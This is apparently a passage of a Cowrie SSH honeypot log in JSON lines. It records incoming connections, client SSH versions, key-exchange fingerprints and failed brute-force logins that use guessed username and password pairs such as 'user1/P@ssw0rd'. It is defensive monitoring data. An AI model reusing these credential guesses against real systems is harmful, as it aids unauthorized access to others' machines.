{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":40674,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e4c142406c","protocol":"ssh","message":"New connection: 64.176.195.200:40674 (10.17.0.5:22) [session: a5e4c142406c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:49.872727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:49.876800Z","src_ip":"64.176.195.200","session":"a5e4c142406c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:49.881571Z","src_ip":"64.176.195.200","session":"a5e4c142406c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wcfg","password":"WCFG2017","message":"login attempt [wcfg/WCFG2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:49.893279Z","src_ip":"64.176.195.200","session":"a5e4c142406c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:46:50.899549Z","src_ip":"64.176.195.200","session":"a5e4c142406c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":60570,"dst_ip":"10.17.0.5","dst_port":22,"session":"6827b27e8c1e","protocol":"ssh","message":"New connection: 24.144.91.67:60570 (10.17.0.5:22) [session: 6827b27e8c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:05.461715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:05.466823Z","src_ip":"24.144.91.67","session":"6827b27e8c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:05.538978Z","src_ip":"24.144.91.67","session":"6827b27e8c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"report","password":"Report","message":"login attempt [report/Report] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:05.859004Z","src_ip":"24.144.91.67","session":"6827b27e8c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:06.932701Z","src_ip":"24.144.91.67","session":"6827b27e8c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.153.157.222","src_port":59726,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c5b4bd0531","protocol":"ssh","message":"New connection: 82.153.157.222:59726 (10.17.0.5:22) [session: 65c5b4bd0531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:11.001647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:11.006135Z","src_ip":"82.153.157.222","session":"65c5b4bd0531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:11.096464Z","src_ip":"82.153.157.222","session":"65c5b4bd0531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdi","password":"mahdi123","message":"login attempt [mahdi/mahdi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:11.490144Z","src_ip":"82.153.157.222","session":"65c5b4bd0531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:12.583183Z","src_ip":"82.153.157.222","session":"65c5b4bd0531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.204.171.142","src_port":47794,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8cba2ebc29","protocol":"ssh","message":"New connection: 121.204.171.142:47794 (10.17.0.5:22) [session: 2e8cba2ebc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:31.827743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:31.834716Z","src_ip":"121.204.171.142","session":"2e8cba2ebc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:32.073324Z","src_ip":"121.204.171.142","session":"2e8cba2ebc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.255.212","src_port":60146,"dst_ip":"10.17.0.5","dst_port":22,"session":"e565b5467912","protocol":"ssh","message":"New connection: 209.38.255.212:60146 (10.17.0.5:22) [session: e565b5467912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:32.591423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:32.596359Z","src_ip":"209.38.255.212","session":"e565b5467912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:32.679325Z","src_ip":"209.38.255.212","session":"e565b5467912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzserver","password":"password","message":"login attempt [pzserver/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:33.036562Z","src_ip":"209.38.255.212","session":"e565b5467912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxadmin","password":"Linuxadmin123","message":"login attempt [linuxadmin/Linuxadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:33.054970Z","src_ip":"121.204.171.142","session":"2e8cba2ebc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:34.119383Z","src_ip":"209.38.255.212","session":"e565b5467912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:34.293450Z","src_ip":"121.204.171.142","session":"2e8cba2ebc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.144.91.67","src_port":42870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ecc9beedb1","protocol":"ssh","message":"New connection: 24.144.91.67:42870 (10.17.0.5:22) [session: b5ecc9beedb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:57.260818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:57.265024Z","src_ip":"24.144.91.67","session":"b5ecc9beedb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:57.336859Z","src_ip":"24.144.91.67","session":"b5ecc9beedb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"P@ssw0rd","message":"login attempt [user1/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:57.655261Z","src_ip":"24.144.91.67","session":"b5ecc9beedb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:47:58.729818Z","src_ip":"24.144.91.67","session":"b5ecc9beedb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"89724d4ac467","protocol":"ssh","message":"New connection: 80.94.92.171:33740 (10.17.0.5:22) [session: 89724d4ac467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:07.345241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:07.459236Z","src_ip":"80.94.92.171","session":"89724d4ac467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:07.462624Z","src_ip":"80.94.92.171","session":"89724d4ac467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:08.804046Z","src_ip":"80.94.92.171","session":"89724d4ac467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:10.047789Z","src_ip":"80.94.92.171","session":"89724d4ac467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":33386,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee61dcd0e017","protocol":"ssh","message":"New connection: 34.81.72.185:33386 (159.203.135.109:22) [session: ee61dcd0e017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:19.971010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:19.975104Z","src_ip":"34.81.72.185","session":"ee61dcd0e017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":49400,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e8acb7112e","protocol":"ssh","message":"New connection: 23.249.28.115:49400 (10.17.0.5:22) [session: 77e8acb7112e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:20.036184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:20.040045Z","src_ip":"23.249.28.115","session":"77e8acb7112e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T18:48:20.217939Z","src_ip":"34.81.72.185","session":"ee61dcd0e017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 